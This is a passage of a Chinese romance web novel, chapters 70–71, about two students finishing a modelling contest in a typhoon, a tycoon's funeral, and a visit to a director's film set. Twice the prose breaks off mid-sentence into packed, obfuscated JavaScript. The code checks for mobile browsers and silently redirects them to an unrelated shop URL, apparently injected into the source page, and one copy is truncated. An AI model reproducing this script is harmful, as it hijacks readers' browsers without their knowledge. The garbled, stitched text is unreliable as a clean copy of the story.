“我还没给你机会吗?从认识到现在,我给过你多少次机会?不然你以为你凭什么拿走我半颗心?” 小初踮起脚,也不知出于什么,扯着他的衣领就对着他吻了下去,她吻得嚣张又克制,情绪失控中又染着温柔。 余萧弋被她的气息束缚住,竟一动不能动了。 只亲了一会儿,小初就停了下来,用手指戳了戳他的脸,“情绪好一点了没有?” 余萧弋垂眸看她,瞳孔微不可察地收缩着,“并没有。” “那你忍一忍。”小初把嘴角破损的伤口给他看,声音放得很轻,“我现在很痛,等比赛结束再安慰你,可以吗?” 余萧弋脑子里轰然地一声,不敢相信自己听到了什么,“什么意思?” “我是说,晚会儿再亲。”小初的眼睛里都是天真笑意。 “哦” 原来是他想错了。 “但是,如果你敢浪费我们一天时间没设计出来那个完美方案……”小初踮起脚再次贴到他耳边,“我的王,你就死定了。” “……” 70.第 70 章 “请心无旁骛。” 这是小初对余萧弋关于比赛全部的要求。 “那你呢?”余萧弋的问题似是意有所指。 “我?”小初的眼睛里闪过挣扎,“我做事从来心无旁骛,不仅对比赛。” 余萧弋又问:“那如果我花了一天的时间并没有设计出你想象中那个完美方案呢?” 小初这次的神色前所未有的坚定,“落棋无悔,你也不要有太大心理负担,一会儿问问梁培风,如果他也同意选F题,那我们就全力以赴好了。” 余萧弋突然笑了,“倒是忘了,你一直是个拿得起放得下的人。” 小初眯了眯眸子,一时也没明白他这句话是夸她还是别的什么意思,她不想浪费太多时间在这些无谓的对话上,直接拉住他的袖子,“走吧,先比赛,有什么话比完赛再聊。” 余萧弋跟上她的脚步。 进门之前,小初想起什么,又问了他一句:“你是辅修过金融吗?” “嗯,本科时候。” “原来如此。”小初点点头。 余萧弋的手放在门把手上,却没有推开,而是回过头来朝小初笑了笑,“主要是余珺彦学的经济和金融,我不想自己在他熟悉的领域一无所知。” 突如其来的“余珺彦”三个字让小初一怔,脚步不自觉顿了一拍,神色稍缓之后她才若无其事说道:“你跟他比什么?” “因为他有层次感。” 层次感……这个家伙说话怎么这么喜欢call back? “一个被全世界抛弃的漂亮男人,智商高又魅力非凡,很难不吸引别人的注意力吧?” 余萧弋的目光明晃晃刺进她眼底,小初呼吸一滞,“我怎么知道。” 回到机房,三人又重新仔细研究了一下B题和F题,最终就连梁培风也觉得这个生死局值得一闯,只是余萧弋构建理论所需的数据量实在大的惊人,还没开始,他的脑细胞就已经不够用了,“兄弟,我感觉做完这题咱仨都废了。” 小初也长叹了口气,拍拍梁培风的肩膀,“开弓没有回头箭,加油吧。” 余萧弋伸出手,另外两人立刻跟上,然后在三人异口同声的“加油”声中,比赛正式开始。 墙上的时钟指针飞速旋转着,八号风球已于上午十点准时登录。 此时此刻,窗外的世界似是彻底沦为了灾难片的背景板,天空阴沉,狂风肆虐,树枝拍打着玻璃混合着大雨滂沱的声音,听得人心惊胆战。 不过很快,他们就全身心投入到了比赛中,所有噪音都神奇消失,入耳的就只剩下手指敲击键盘的声音。 时间紧迫,工作量又大,所以根本就没有余萧弋说的前面一天完全交给他的事,各个环节还是要整个团队配合完成。 他构建理论的时候,小初和梁培风就收集和清洗数据,随着他那边逻辑框架的逐渐成型,小初这边也已经开始利用预处理好的数据进行关联分析了。 这种和队友一起深入险境攻城略地并把后背交给对方的感觉很热血,也很让人感动,三人的专业能力又不相上下,以至于一件本来令人紧张无比的事都变得爽感十足。 他们认真投入在自己负责的板块上的时候一般是很安静的,但时不时,也会有对话飘出来。 小初:“培风培风,你数据清洗好了再给我。” 梁培风:“刚才那组我没清洗吗?Shit,我不行了,要去喝杯咖啡提提神了。” 小初:“那劳驾也给我来一杯。” 余萧弋:“我刚刚要的那组数据还是缺失的吗?培风你先别喝咖啡了,快想想办法。” 梁培风:“大佬,已经快凌晨三点了,我都快困出幻觉了。你要的那组数据我看到的来自不同国家的三份报告都不一样,我是真不知道该怎么量化准确度才更高一些。” 小初:“你要不就去睡会儿,数据的事我来,明天最辛苦的人就是你,今天你就不要陪着我和Theo熬通宵了。” 梁培风思索了一下:“那我就不客气了。” 又过了一会儿。 小初:“余萧弋,你过来帮我看看,这个是不是要引入一个时间序列分析?” 无人回答。 小初没在意,仍专注在模型上,电脑屏幕上的数字映在她的防蓝光眼睛上,不停地跳动着。 两分钟后,她才发现她右前方的男人不知道什么时候离开了座位。 凌晨三点的夜无疑是最静的,窗外的雨势渐歇,房间角落里已传来梁培风均匀的呼吸。 头顶的白炽灯因电压不稳突然闪了一下,机房内气氛瞬间染了几分恐怖的味道。 “余萧弋?”小初紧张地吞了吞口水,转过头去朝门口方向张望了一下,刚好捕捉到他端着两杯咖啡从外面走进来。 终于心安。 “你要的咖啡。” 他慢慢走近,脸上带着恰到好处的一点倦意,却意外让他看起来比平时更温柔了。 小初的心蓦地一动,像深夜里悠然绽放的一朵花。 他就是传说中那种天生长着深情眼的男人,想当初在飞机上相遇,她就是被他这双眼睛蛊惑到的。 可经过这么长时间的相处,她已渐渐发觉,好看的皮囊只是他诸多优点中最不值一提的一个。 所有接触过他的人,无论长辈还是同龄人,她看得出,大家都很喜欢他。 他有他很特别的人格魅力。 比如,性格谦和,行事低调,情绪稳定,同理心强,很会替别人着想。 对她尤甚,无论在得知她身份前还是之后,他的态度都始终如一,凡事以她的感受为先,从不说重话,也从未摆过高姿态,温柔体贴到连一只碗都舍不得她洗。 他说她永远都不要做那些事,他来就好。 可他是不是忘了,他也是众星捧月般长大的,又何必如此放低自己爱一个像她这样永远只会把自己放第一位的人呢。 她真的不太懂。 “谢谢。”小初接过他的咖啡,“你困不困?” 余萧弋倚在她的桌角边,仰头给自己灌了一大口咖啡,“困啊,不过刚洗了把脸,好像清醒一点了。” 小初想起什么,促狭着笑了笑,“其实,我还带了个神器呢,你要不要试试?” “什么东西?” “清凉油。” 余萧弋失笑,“那赶紧拿出来吧。” “好!”小初从包里拿出那个绿色的小瓶子,突然有点踟蹰,“涂太阳穴会不会离眼睛太近?这东西挺刺激的。” 一抬头,却见余萧弋正单手握着咖啡杯,垂眸静静看着她,不知是不是她想太多,她总觉得他眼神里有种无法驱散的悲伤。 这个画面如果放在电影里,镜头一转,两人大概就要分道扬镳了。 只是想到那个不存在的镜头,小初就一阵心痛。 “没事,我先来。”余萧弋不经意地身体向前一倾,将自己一侧的太阳穴递给她,“多涂点,我今晚肯定要通宵的,半点不能睡。” 小初点头,“我陪你。”下一秒指尖那抹清凉就已经触到了他的皮肤上。 两人的身体都微不可察地一颤。 她涂得很认真。 而他一直看着她的眼睛。 鼻端的薄荷味萦绕不散,的确很醒脑。 “换一边。” 他听话地偏过头去。 很快,另一边也凃好了。 “怎么样?”小初伸手覆在他的脸上,帮他把脸转向自己,“眼睛难受吗?” “有点。” 像是想掩饰什么,余萧弋伸手抹了抹眼角,小初却敏锐地发现,他的睫毛是湿的,眼尾也泛着红。 “哭了?这么刺激吗?”小初抓住他的手,“别抹,清凉油弄到眼睛里就糟糕了,你稍微忍一会儿,让它挥发一下。” 余萧弋笑笑,说:“好。” 小初眨眼,“我也快困昏过去了,也得涂点。” “我帮你。”余萧弋放下咖啡。 “不用,我自己来就好。”小初就着沾满绿色液体的指尖,很快就把两侧的太阳穴都涂好了,而且为了让自己更清醒一点,她下手很重,涂的量比余萧弋还要多一倍。 可即便如此,她也只是觉得有点凉而已,并没有想哭的感觉。 “看来,你对这个味道比我要敏感很多。”小初扣上清凉油的盖子,斜睨他一眼,“Theo余,你怎么这么娇气?” “我可能是有点娇气,毕竟……”余萧弋顿了顿,忽而一笑。 小初倒有点好奇他接下来会说句什么。 “咱们俩之间,来生理期的那个人,是我。” “……” 小初沉默。 这么记仇吗,哥哥? 她不知该说点什么,只好把目光转向电脑屏幕,“你觉不觉得今年的F题政治意味特别浓?总感觉是出题方一直在推卸自己在某些地区利用政策和贸易战掠夺资源造成全球经济低迷的责任。” 余萧弋诧异地看她一眼:“没想到你还挺敏锐。” “哥哥,我好歹也是全国Top2学校出身的,这点敏锐都没有,是不是有点太给国家丢人了。” 余萧弋笑着点了点她的额角,刻意避开她之前说疼的地方,“少给自己上价值。” “等你出国了,意识形态还会和我保持一致吗?”小初有点酸涩,“我们也会渐渐无话可说,是吗?” 深夜果然是人意识不清最容易犯傻的时候。 “不会的,我保证。” 余萧弋的郑重让小初突然想哭,可她不想自己的脆弱给他太大心理压力,只能笑得更灿烂,“God,我好像感受到清凉油的威力了,眼泪都下来了。” 在奔赴前程的路上,她不会为任何人停下脚步。 就像,她也没有资格阻拦别人去成为更好的自己。 所以她永远不会求他为了她别去美国。 经过七十个小时的奋战,三人最终提前两个小时完成了论文提交。 至于完不完美,他们已经无力去复盘了。 梁培风说得没错,这一刻,他们的身体和精神已经被透支殆尽,再也经不起任何多余的思考了。 台风过境,外面的世界也终于恢复了往日的宁静。 清晨的港岛,细雨仍迷蒙,但天空已经有了放晴的痕迹,三人都太累了,提交完论文就各自倒在睡袋里睡着了。 小初已经许久没有和余萧弋睡在一块,竟无比贪恋他的心跳和体温,即使在睡梦中也一直将自己缩成一团,任他裹在怀中。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694073|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就这样连着睡了十几个小时,再醒来天色已大黑。 梁培风收拾好东西准备离开了,一边收拾还一边跟他们开玩笑,“还真叫我睡到你们俩旁边了,以后记得对我好点,这缘分可是你们上辈子修来的。” 小初说:“那我上辈子估计也没好好修行,肯定天天逃学了。” 余萧弋笑。 待梁培风出了门,他才问小初,“我送你回去还是曹旸来接你?” 他这样问,小初倒愣住,心底蓦地塌出一个洞来,她也说不清那是失落还是什么,但没过两秒,她就已勾起了唇,神色恢复如常,“我本来还想去看看Enzo和港港的,已经几天没见,快想死它们了。不过,被你一说我也觉得今天太晚了,估计它们已经睡了,还是改天吧。” 余萧弋在她看不见的地方手指掐着手心,很怕自己意志力一软弱,想法就会动摇。 如果不用考虑那么多,他现在唯一想做的,就是用自己的一切去填满她,无论是她的身体还是灵魂。 直至她再也容纳不下任何其他人,不得不正视她自己爱和欲望,再也不敢随意对待她和他的感情,再也不想着半年后的分离,就像这世上真正相爱的人那样,只想永远和他在一起。 可是他不能,今天的他不够冷静,他很怕他控制不住自己,会对她造成什么伤害。 再怎么比同龄人聪明和理智,在某种程度上来说,她也还是个不谙世事的小女孩,因为被保护得太好,所以才不懂人心的复杂,只会用热烈和真诚去对待她遇到的每一个人。 这不是她的错。 不仅不是错,甚至可以说是她最可爱和珍贵的地方。 从一开始,他就无比希望自己可以用一辈子时间保护好她这一点,又怎么可以第一个去破坏它? “主要今天我也没办法陪你,明天郭永仁遗体告别式,我要和我爸妈一块出席。” “竟然这么快!”小初有些恍惚。 “时间应该是找人算过的,但也不算快了,他们家情况不比从前,肯定凡事低调从简比较好一点。” 小初仍怔怔的,“也不知Ruby姐姐会难过成什么样。” 余萧弋疑惑地看她一眼,“你认识郭羡如?” “我……” 正想解释,谢令妤的电话却刚好这会儿进来了,说是已经帮她找到了她爸妈之前在学校排练话剧时候的影像资料,问她什么时候有空过去一趟,她好请她吃——剧组盒饭。 “太好了。”小初翻了翻手机日历,“那不然就这周末?” “行。”谢令妤笑,“那你傍晚来,顺便给我带奶茶。” 小初挂了电话,看向余萧弋,“周末要不要陪我去探班谢导?” “好啊。” 余萧弋开车把小初载回公寓的时候,曹旸已经在楼下等,所以他们没有说几句话就匆匆告了别。 几天都没有好好休息的两人身体已经撑到了极限,确实也没力气说太多了。 车子驶离前,他的视线不经意滑过那天早晨余珺彦停车的地方,结果不意外,那里果然已经换了一辆陌生的车。 他抿抿唇,脚下油门轻点,一个近乎完美的压线转弯,车子与他,就同时纵身跃入了潮湿闷热的夜色中。 台风一过,这里就又迅速回到了夏天。 他早该知道的,港岛就从来没有过冬天,副驾驶上的厚外套无辜又滑稽,毫无保留地揭露着着他和她的格格不入。 可他偏不服输,下一秒,就将车载空调调到了最低。 周柏豪那首歌唱得真好,他就是那个把施予当做赌注人,等哪天人家对他的施予厌烦了,一切也就结束了。 * 小初是在第二天的新闻上看到郭永仁的葬礼的。 没落的豪门即便到了如此境地,该有的排面依然不输,告别式虽然布置得十分简单肃穆,但前来送别的社会各界名流却始终络绎不绝,现场更是被媒体记者围得水泄不通。 余蓁蓁似是完全没有把舆论对她的评价放在眼里,一早就身着一袭黑衣现了身,并全程都陪在她闺中密友郭太胡令仪的身边,没有任何避讳。 郭羡如头上别着白花,一直在给前来给她爸送行的人行礼。 出乎小初意料的是,余珺彦竟始终都没有出现在记者的镜头里。 倒是余萧弋,告别式开始没多久就跟着他爸妈乘车到达了现场。 三人一从商务车上下来,记者就蜂拥而至。不停追问着余郭两家在坊间的一些传闻,对此,萧文然和余韬韬始终闭口不答,只说希望大家克制,尽量不要打扰逝者安息。 小初不想听记者聒噪的采访,干脆把手机关了静音,只把目光放在画面里余萧弋一人身上。 今天的他应该是特地做过妆发,一身黑色西装剪裁极为利落,颈间系着的的窄版领带和鼻梁上的墨镜更衬得他既克制又张扬,帅得根本让人移不开眼。 小初听闻他们这边的礼仪和内地不太一样,来告别的人打扮得越精致得体越能表达对死者的尊重和怀缅。 现场的记者大概也怀有和她一样的想法,镜头一直停留在他身上不肯移开,害得她也不得不跟着多看了好几眼。 知道此刻不应该产生其他绮念的,可她没控制住,心跳还是漏了拍子。 71.第 71 章 余珺彦最终也没有在郭永仁的葬礼上出现。 小初原以为他这次肯定要被舆论骂惨了,没想到结果却恰恰相反,全网无论主流媒体还是营销号都在盛赞他有情有义,周全克制。 深夜接机失怙的郭小姐是有情,忙前忙后帮着郭家料理后事是有义,葬礼当天不让自己的出现引起混乱是克制,更是对他将来的妻子杨敏之以及杨家的尊重。 如此心怀坦荡、行事光明又有担当的男人,想必,无论作为伴侣还是继承人,都是极佳选择吧。 小初看着手机屏幕目瞪口呆半晌,最终只剩下叹服。 她没想到这余珺彦还真有逆风翻盘的本事,当所有人都不看好他的时候,偏偏他最争气,翻手为云覆手为雨就一切尽在掌握。 只是,她还是没看懂他和郭羡如扑朔迷离的感情线,若他们当初真的差点就在美国注册结婚,且他至今唯爱的人也还是她,那他又是怎么忍住在她最脆弱、身边最需要有人支持和陪伴的时候选择隐身的? 真的是为了杨家的颜面不得已而为之吗? 如果他还在乎杨敏之,那天在车里说的什么他只要郭羡如,其他的都不重要,没有她他也活不下去了的那些话…… 又算什么? 她原以为自己目睹了父母轰轰烈烈的前半生后,总算也略懂了一点爱情,没想到,还是参不透人心。 难道郭小姐也只是余珺彦维持人设的一枚棋子吗?如果是这样,她是真的会看不起他的。 好在,台风过境后他就没再来找她的麻烦,她终于不必因此而备受煎熬。 说好的比赛后找个时间和余萧弋好好谈谈的,可一连两三天,她都没见到他的影子,问,他只说家里有些棘手的事情要处理,实在顾不上她,叮嘱她务必照顾好自己,一切等周末再说。 如此小初只能将坦白的计划暂缓,他既然已经很焦头烂额,她就更不能拿一些无关紧要的事去烦他。 她仔细想了想,其实余珺彦说得也没错,她和他之间又没什么不能见人的牵扯,她慌什么。 过多的解释反而会让事情变得复杂,反正她的一颗心坦坦荡荡,她相信余萧弋能懂。 比赛结束后的那个星期三,正在上公共课的小初突然收到肖小雨的消息,亦方之前接触的那个G端项目终于落地签约。 项目涉及产业生态建设,智能硬件,互联网服务和人工智能等多个领域的长期合作,总算方协文之前没有白白在互联网上遭受诋毁和攻击。 肖小雨的消息很简洁:【小方总今晚可以加餐了。】 接着就是几张她爸坐在谈判桌边签字以及和G方代表握手的照片。 照片里的方协文穿着简洁的黑色高领打底衫配藏蓝色西装,身形挺拔,气场非凡,从西装下摆的褶皱到鬓边隐约染了白的发丝都没有辜负他亦方第一男模的称号。 可不知怎么,小初几乎在看见照片的第一眼,泪水就充盈了眼睫。 别人或许都崇拜他的成功,欣赏他的个人魅力,而她,透过他弯着的眼角却只看到深深的疲惫,无比心疼。 【恭喜方总得偿所愿,爸爸辛苦了。】 她在群里@她爸。 先看到消息的黄亦玫不明所以,问她:【在恭喜什么?】 小初有些不可思议:【方总没第一时间跟您报喜吗?】 说着就把刚刚那几张照片都转发到了群里。 黄亦玫恍然,立刻发了个花束的表情包给方协文,【方总今晚想吃什么,我请客。】 方协文大概是这会儿才看到消息,上来就问小初,【我这刚签完约,亦方的宣传部门还没拿到照片呢,你怎么就知道了?】 小初笑,【那您别管,我有线人。】 方协文想了想,【肖小雨该不会是要拥立新君造反吧?】 【爸!看您说的,您就我一个女儿,我造您的反干嘛?】 方协文冷哼,【这可不是之前怀疑乐羽飞是我儿子的时候了?连肖小雨都成了你线人了。】 小初笑嘻嘻的,【此一时彼一时,您闺女也不能一点不成长吧?再说,我什么时候怀疑过飞飞是你儿子了,他那么可爱。】 这话方协文不爱听了,【怎么呢,我和你妈妈生什么会不可爱?】 小初发过去一个呲牙乐的表情,【可爱,当然可爱,而且肯定像我一样才貌双全的。】 方协文懒得理她,直接回复黄亦玫,【晚上去吃顺德菜怎么样?】 黄亦玫回给他一个OK,【我来订桌。】 方协文说,【叫上哥和嫂子,再接上爸妈,咱们好好热闹热闹。】 小初心里酸酸的,【你们当着我说这些好吗?我都想家了。】 方协文翻了个白眼,【不能吧,方小姐不是给自己找了个新家吗?萧文然夫妇在你心里早亲过我和你妈妈了吧?】 【这简直是危言耸听!】小初大呼冤枉,【我永远最爱我的爸爸妈妈好不好!】 方协文这才满意了,【别说那些没用的,今天签约成功的事儿功劳都在你妈妈,要不是她面对流言时始终选择相信我,支持我,给我这么稳定一个大后方,我肯定坚持不到今天,所以……】 小初做了个牙疼的表情,【所以什么?】 【所以今晚的聚餐方太初你请客。之前的亦方奖学金你还没机会花呢吧?这次刚好拿出来吧。】 【……】小初有些无语,【给都给我了,怎么还能往回要呢?】 【不是往回要,是给你机会表达你的孝心。】 小初咬牙,【没了,钱早给小余同学买礼物花了。】 【?!方太初,你怎么跟你妈妈似的,还给男人花钱呢?】 小初好奇极了,【哦?她都给谁花钱了?】 方协文得意非凡,【我。】 小初默默退出了页面。 她是真受不了这世上的一些夫妻和情侣了。 下了课,她收拾东西往外走,心里正合计着一会儿吃点什么,就在教学楼外碰见了个熟人。 很显然,那熟人就是冲她来的,她也是奇怪了,他们这帮姓余的怎么就都这么喜欢出其不意地出现在她的生活里呢? “姐姐!”一身潮酷风格戴着棒球帽的余萧泽一看见她的身影就大步跑了过来,“我在这等你好久了!” “你等我做什么?”小初斜睨他一眼,“而且这个时间,你又逃课了?” “不是逃课,今天学校下午放假。”余萧泽笑嘻嘻地在她面前停住,认真观察了她一会儿才说,“你怎么瘦了?是不是我哥对你不好?” 小初瞪他,“你个小屁孩懂什么好与不好。” “好,他怎么不陪着你?” 小初说:“少挑拨离间,他忙你又不是不知道。” “忙也得陪女朋友啊,天大地大,谈恋爱了就是女朋友最大,你们现在热恋期他都不黏着你,等以后淡了你要怎么办?” 他的话有些刺心,小初想起以后的异地恋,神色黯下来,问道,“少废话,你来找我到底什么事?” 余萧泽从口袋里郑重掏出来一个白色信封,双手递给她,“这是我的生日请柬,希望你能来参加我十八岁的成人礼。如果你来,我一定很高兴的。” 小初愣了愣。 她还没听余萧弋提过这事。 余萧泽察觉到了她神色的变化,立刻问:“怎么,我哥还没跟你说?” 小初问:“你什么时候生日?” “下个月十号,在绮丽酒店办,细节我还不知道,但应该还算隆重。这是我们家的传统,每个孩子成年都会拥有一场盛大的成人礼。” 小初点点头。 余萧泽说,“其实我不来,我妈和我哥应该也会和你说的,但我更想亲自来邀请你。姐姐,你对我是很重要的人,即使你喜欢大哥不喜欢我。不过,我也想通了,能和你成为家人,对我也是件值得幸福的事了。” 小小少年笑意深深看着她,眼睛里都是碎光。 说不动容是假的。 但小初知道自己不能给他太多台阶,否则,他能上天。 于是她说,“你才认识我几天,什么重要不重要。” “你不懂。” 小初看了看表,“时间不早了,你赶紧回家去吧,免得文然阿姨他们担心。” 余萧泽却不想走,可怜兮兮地看着她,“姐姐,你都不请我吃个饭吗?我快饿死了。” 小初心中一动,竟没说出拒绝的话,“你想吃什么?” “我想吃泡面。”余萧泽笑着眨眨眼,“和姐姐一起吃过泡面,以后万一真的要吃很久的泡面,也不会觉得辛苦了。” 小初没太听懂他的意思,骂他,“一天到晚胡言乱语。有这个时间,好好对待你的人生不好吗?一道数学题讲三遍还不会是真的很夸张了。不过,你说你志不在此,我也能理解。或许有一天你能成为你擅长的那个领域的巨星呢。但无论你做什么,只要认真对待,就很棒了。” 余萧泽重重点点头。 小初发消息给余萧弋,【仔仔来学校找我玩了,我带他去吃个饭。】 余萧弋很快回过来,【他怎么去找你了?今天学校没课吗?】 小初抿抿唇,【哥哥,你好歹抽点时间关心一下你的人好不好?】 【我想你了。】 他很突兀地发过来这么一句。 而后又加了句语音,【晚上见面吧,甩掉曹旸,我们去山顶看夜景。】 小初满腔的委屈因为他这一句话瞬间消散,千言万语只化作一个字,【好。】 “所以真的吃泡面就可以吗?”她这才转向眼前的少年。 “没想到,你竟然这么喜欢他。”余萧泽撇了撇嘴。 “什么?” “你看你刚刚回他消息的样子,笑得跟店铺门口的招财猫似的。” “……” 小初懒得理他,只是径直带他到便利店买了两桶泡面。 她已经很多年没吃这东西了,今天被他这么一说还真有点想吃。 两人就挤在便利店的小桌子上简单吃了个晚餐,大概因为太饿了,他们吃得很香。 余萧泽最后说,“姐姐,你就吃亏在你是独生女,被欺负了都没有哥哥弟弟帮你撑腰,跟我妈似的。以后我就是你亲弟弟,谁欺负你都不行,包括我哥。” 小初快被他的孩子气笑死,“好,我一桶泡面就收买了个弟弟,太超值了。” 可他哥并没有对她不好,他把她每句话都放在心上,自从听了她那句“能不能抽时间关心一下你的人”,接下来的日子,每天无论多忙,他都会跑来和她见上一面,哪怕只是聊聊天。 那天晚上的天气格外晴好,站在山顶看夜景的感觉特别浪漫,他们就着微风亲了很久。 想起曹旸冷冰冰的表情,小初又想笑,最后终于承受不住,软绵绵倒在了他怀里。 “所以,到底是什么棘手的事让你这么烦?” 小初突如其来的问题让余萧弋微怔,静静看了她一会儿。 “怎么?不方便说吗?那可以不说的,你当我没问好了。”小初勾住他的脖子,“我们说点别的,比如,比赛那天你为什么心情不好?” 沉默过后,余萧弋才低声开口,“没有不方便说,我和你之间,不存在秘密,只是……” “只是什么?” “只是有些事,我不想你知道的太多,我希望你的世界尽量简单点,因为你爸妈肯定也是这样保护你的。” “他们把我当小孩,你也是吗?”小初抬眸看向他,“你也才比我大不到两岁而已,他们怎么从来不把你当小孩?” 余萧弋的神色一寸寸落寞下来,“我们家的人没资格当小孩的。我爷爷觉得他几个子女的教育失败就是因为他们生存环境太好了,于是对我和堂哥就格外严格。他默许我们从小就开始竞争。” “他疯了?”小初难以置信。 “因为他太迫切想要一个有能力的继承人了。”余萧弋顿了顿才说,“二叔和情妇联手利用基金会中饱私囊,结果出了差错,目前已经有三个人因为医疗仪器事故没了命,还有十来个患者受到不同程度的身体损伤,昨天又有一个人情况突然危急。” 小初的瞳孔因为震惊骤然放大了一圈。 余萧弋抚了抚她的头发,“早说了不想你知道的。” 小初陷在恐惧的余韵中,突然感觉山上的风都刺骨了很多。 “宝贝,答应我你别因为这些事否定我好吗?我跟他们不一样。” 余萧弋的声音近乎祈求。 半晌,小初才问:“那你在忙什么?帮他掩盖真相吗?” 余萧弋呼吸渐渐滞涩,“那种事底下有的是人做,我正在帮忙联系国外的专家团队,看看能不能保住那个患者的命。” “这些事,余珺彦为什么不去做?他不是他儿子吗?” “他?”余萧弋笑笑,“他怎么想,我看不透。” 小初后来果然一直想着这件事。 心神不宁。 连她都这样,她不敢想余萧弋长久以来承受的是怎样的压力。 难怪他看起来比同龄人成熟那么多,不说话的时候那么忧郁破碎。 相比之下,她从小到大的环境还是太单纯了,主要还是因为,她爸妈太爱她了,连哪怕一点负面情绪都舍不得往她身上施加。 她爸这一路走来又经历过多少至暗时刻,包括这次这个项目,每一步到底有艰难,让渡了多少核心的东西出去又躲过同行多少明枪暗箭才坚持下来,大概就只有他和他的谈判团队知道了。 可他,竟一个字都没跟她说过,很多压力,他选择自己承受,还不就是为了将来她少承受一点吗? 想到这,她立刻给她爸发了条消息过去,【方总,今天的晚餐我请了。】 方协文和黄亦玫都大笑,【小方同学怎么突然改名大方同学了?】 【就因为我爱你们不行吗?】 “这么在意你爸妈啊?”剧组临时搭建的导演工作区内,满头银灰头发的谢令妤大大喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702732|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口奶茶,已经连着工作了十个小时的她终于长喘了口气。 可惜,今晚还有夜戏要拍,十二点之前大概率都收不了工。 不远处的副导演一边吃饭还一边在给演员讲戏,声音断断续续传过来。 小初看了旁边的余萧弋一眼,抿抿唇:“干妈,你也觉得我花了太多时间探寻我爸妈之间的情感关系了,是吗?” “你很好,不要内耗。”谢令妤肯定地拍了拍小初的手,“我们大多数人的成长过程不就是在寻找和理解爱的过程吗?而父母的关系模板就是最初在你大脑里关于爱的映射,当然很重要。” 小初有些不好意思,“但我看别人没有我这么执着。” 谢令妤笑,“那是因为很多中式家庭组建的基础就不是爱,而是生存和繁衍。你以为谁的父母都能给子女□□情模板呢?你只是比别人更敏感细腻一点而已,没什么的。” “真的吗?” “当然!”谢令妤眨眨眼,“干妈可是专业的,不然我怎么给演员讲戏,怎么拍出深刻的作品?” 小初信服地弯了弯唇。 “要怪就怪你爸妈的爱情还是太复杂了点,否则凭你这么聪明,还不早就参透了?” 小初思考了一下,“我主要理解不了他们爱的初衷。” 谢令妤摇摇头,“你不是理解不了他们的初衷,你只是看不明白他们到底是深爱对方还是纯粹是两个聪明人在用心经营婚姻,这在你脑子里是两个东西。” 小初瞪大眼,“干妈,你真神了。” 谢令妤的目光在余萧弋脸上停留了一下,才转向小初,“没什么神不神的,你自己看下你选的的这个男朋友,就知道你潜意识里是怎么看待你父母的关系了。” “什么意思?” “他身上吸引你的东西,就是你怕你自己在感情上步你父母后尘极力在避开的东西。所以我猜,你们之间无论哪方面,都不需要谁向下兼容吧?物质上的,精神上的,甚至细枝末节到个性和审美,你说我猜的对不对?” 小初和余萧弋同时看向对方,眸底的震惊又同时化作温柔笑意流淌出来,两人都红了脸。 “不过。”谢令妤拉过他们两个的手,放在一起,“就算再契合的人,遇到问题也要及时沟通,多替对方着想,不要让一些小的误解和矛盾堆积到不可调和的程度,知道吗?” 小初和余萧弋点点头。 谢令妤看了看表,“干妈又要开始忙了,你们自己玩会,累了就先回去。不过我必须提醒你方太初,这世上不是只有你想要的那种爱情才是爱情,每对伴侣都有自己的相处方式,包括你爸妈,我可以用我的专业保证,他们之间绝对是非常坚定的双向奔赴。” “那他们为什么会离婚?”小初鼓足勇气终于问出了这个问题。 “因为你爸太爱了,爱到心理失衡就生出了控制欲,有段时间他想让你妈永远待在家里只属于他一个人,你觉得如果你是骄傲自由的黄亦玫,你能忍吗?” 小初忽地一下站起身,“我记得,我小时候有段时间我爸总是发脾气!所以他是因为没有安全感才那样的吗?” 谢令妤挑了挑眉,“你看,这在一段关系中失去自我的人多可怕。你和小余千万别学他,无论多爱,都要给彼此留出呼吸的空间,不然最先喘不来气的那个人一定会想方设法逃走的。谈恋爱也好结婚也罢,不都是为了彼此都舒服才在一起的吗?” 说完,她就转身投入到工作中去了。 就像电影里演的那样,场记板吧嗒一声,随着谢令妤一声“Action”,演员立刻化身成了角色,沉浸到了故事中。 小初看见了陈槐东,不过他没注意到她。 在场记的灯光下,他脸上和衣服上的喷射状血迹看起来格外触目惊心,她立刻意识到,他这应该是刚刚帮女主杀完她的的丈夫,整个人还处在巨大的恍惚中。 小初点开ipad,示意余萧弋戴上蓝牙耳机,开始和他共享音频。 拍戏现场很安静,他们不敢发出任何噪音干扰到演员的情绪,打扰到拍摄进程,极力弱化着自己的存在感。 视频里年轻时候的黄亦玫果然艳光四射美得颠倒众生,以至于她化身爱神从象征着海上泡沫的舞台布景中缓缓走出来的时候,她和余萧弋都震惊得瞪大了眼,并默契地看向对方,做出了一个难以置信的表情。 这是什么神祇降临现场! 这谢令妤难怪是享誉全球的名导,年轻时候选演员的眼光就已经这么独到,黄亦玫这张脸的权威性就在于,无需任何台词和旁白辅助,就给后面所有男角色拼了命为她一人厮杀的戏份定了调,而且是绝对的说服力。 这谁能不迷糊啊! 只一眼,小初就已经理解她爸当年发疯的逻辑了,这换成谁不疯啊,谁不想独占月亮让她的光只照向自己一人啊。 但很快,她心里的天秤就完全偏向了黄亦玫,主要这诸神也太疯了,一个个为了得到美人已经到不择手段的程度了,难怪后面死得都那么惨。 他们应得的,真的。 包括现实里被离婚的方协文,一辈子爱而不得的庄国栋,明知道自己身患绝症还心存幻想的傅家明,还有那个连父母都说服不了就敢爱上学员的飞行教练何西,没有一个无辜,结局都是他们自找的。 